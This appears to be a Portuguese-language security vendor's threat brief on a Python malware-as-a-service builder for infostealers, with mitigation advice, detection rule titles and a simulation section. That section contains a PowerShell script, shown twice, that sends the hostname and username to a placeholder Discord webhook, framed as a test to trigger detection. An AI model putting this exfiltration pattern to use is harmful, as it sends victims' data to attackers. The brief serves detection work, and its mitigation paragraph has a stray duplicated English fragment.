A Fábrica de Stealer: MaaS em Python para Construir Infostealers
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma nova operação de Malware como Serviço (MaaS) foi identificada usando um construtor baseado em Python para gerar cargas personalizadas de infostealer. O construtor permite que operadores embalem malware como executáveis do Windows através do Nuitka ou PyInstaller enquanto incorporam configurações de webhook. Os infostealers resultantes têm como alvo credenciais de navegadores, tokens do Discord, cookies do Roblox e senhas de Wi-Fi armazenadas.
Investigação
Analistas examinaram um arquivo aninhado contendo tanto o construtor quanto uma carga embutida. A investigação descobriu que o construtor protege URLs de webhook usando codificação XOR e Base64 e pode instalar automaticamente dependências necessárias por meio de pip.exe. A carga gerada também implementa técnicas anti-análise, incluindo detecção de depuradores e verificações de tamanho de disco projetadas para identificar ambientes sandbox.
Mitigação
Organizações devem monitorar a execução inesperada de pip.exe e a criação suspeita de tarefas agendadas. Restringir o acesso a diretórios de dados de navegadores e detectar o uso não autorizado de comandos pode reduzir ainda mais a exposição. Manter as soluções de proteção de endpoint atualizadas também é importante para identificar famílias de malware baseadas em Python em rápida evolução. commands can further reduce exposure. Keeping endpoint protection solutions current is also important for identifying rapidly evolving Python-based malware families.
Resposta
Quando uma atividade maliciosa é detectada, isole o endpoint afetado para interromper a exfiltração de dados através de webhooks controlados pelo atacante. Revise as chaves de execução do registro e as tarefas agendadas para mecanismos de persistência não autorizados. Analise a telemetria de rede para solicitações não usuais de POST HTTP direcionadas a endpoints de webhook desconhecidos, recém-observados ou suspeitos.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Uso Possível de Schtasks ou AT para Persistência (via linha de comando)
Pontos de Persistência Possíveis [ASEPs – Hive Software/NTUSER] (via linha de comando)
Tentativa de Comunicações Possíveis de Domínio de Consulta de IP (via DNS)
IOCs (HashMd5) para detectar: A Fábrica de Infostealers: Desembalando um Construtor de Infostealers MaaS Baseado em Python
Detecção de Presença de Depurador e Tentativas de Enumeração de Perfis Wi-Fi [Criação de Processo do Windows]
Solicitações HTTP POST Suspeitas para Endpoints de Webhook [Conexão de Rede do Windows]
Detecção de Execução Inesperada de Pip e Invocação de PyInstaller em Construtor de Malware em Python [Criação de Processo do Windows]
Execução de Simulação
-
Narrativa de Ataque & Comandos: Um adversário implantou um infostealer leve em uma estação de trabalho Windows. Para evitar o gerenciamento de um servidor C2 dedicado, o atacante usa um Webhook do Discord para exfiltrar metadados do sistema (por exemplo, nome do host e nome do usuário). O script executa uma solicitação HTTP POST para a API do Discord. Esta ação é projetada para se misturar com tráfego legítimo de desenvolvedores ou jogos enquanto tem como alvo específico o
padrão de URI discordapp.com/api/webhooks, que a regra de detecção está programada para sinalizar.Script de Teste de Regressão: -
# Simulação de Exfiltração de Dados via Webhook do Discord $webhookUrl = “https://discordapp.com/api/webhooks/test-id/test-token” $payload = @{ content = “Dados Exfiltrados: Hostname=$env:COMPUTERNAME, User=$env:USERNAME” } | ConvertTo-Json Write-Host “[+] Simulando Exfiltração de Webhook…” try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType “application/json” Write-Host “[+] Comando de simulação enviado com sucesso.” } catch { Write-Host “[-] Comando enviado (Falha esperada se a URL for falsa, mas a telemetria ainda deve ser gerada): $_” }
# Simulation of Data Exfiltration via Discord Webhook $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token" $payload = @{ content = "Exfiltrated Data: Hostname=$env:COMPUTERNAME, User=$env:USERNAME" } | ConvertTo-Json Write-Host "[+] Simulating Webhook Exfiltration..." try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Host "[+] Simulation command sent successfully." } catch { Write-Host "[-] Command sent (Expected failure if URL is fake, but telemetry should still generate): $_" } -
Comandos de Limpeza:
# Nenhum arquivo persistente foi criado; nenhuma limpeza necessária para esta simulação apenas em memória. Write-Host "[+] Limpeza completa: Nenhum artefato deixado no sistema."